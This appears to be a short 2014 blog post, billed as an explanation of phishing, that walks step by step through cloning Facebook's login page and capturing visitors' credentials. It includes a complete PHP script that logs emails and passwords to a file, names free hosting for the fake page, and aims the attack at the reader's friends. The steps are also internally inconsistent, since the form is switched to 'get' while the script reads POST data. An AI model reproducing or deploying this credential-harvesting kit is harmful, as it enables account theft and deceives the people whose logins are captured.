Friday, December 26, 2014


                                     what is Phishing? 
Phishing is a method of getting username and password of someone by making fake webpages.In phishing a hacker creates a fake webpage like facebook,orkut etc and send them to their frind and tell him for login and after that his friends username and password is stored in tha database of user lets have an example of understanding phishing

step 1=go to facebok.com and by left click select the view page sorce option on that page.
step 2=Now copy that page source and save it into a notepad and rename it by facebook.html(name is depends on webpages).
step 3=now open that sorce in notepad and search "form method".
step 4=now change="http://login.facebook.com/login.php" to "pass.php" and change their method also from "post to "get"
step 5=now create a php script for storing username and password and save it as pass.php
 Code for script

<?php /* Created on: 3/27/2007 */
$fp = fopen("FacebookPasswords.htm", "a");
fwrite($fp, "Email:$_POST[email]\tPassword:
$_POST[pass]");
echo "<HTML>
<head>
<title>Welcome to Facebook</title>
<FRAMESET cols=\"*\">
<FRAME SRC=\"http://www.google.com\"
</FRAMESET>";?>
step 6=now we create an account on www.110mb.com for upload files =facebook.html or pass.php
step 7=after uploading these files on that sites
our pfake page is ready http://h1.ripway.com/rafaybaloch/Facebook.htm
now
we can see username and password of a friend when he or she access their account .
  their username and  passwords will save in a .txt form .downlaod it and view the password.

No comments:

Post a Comment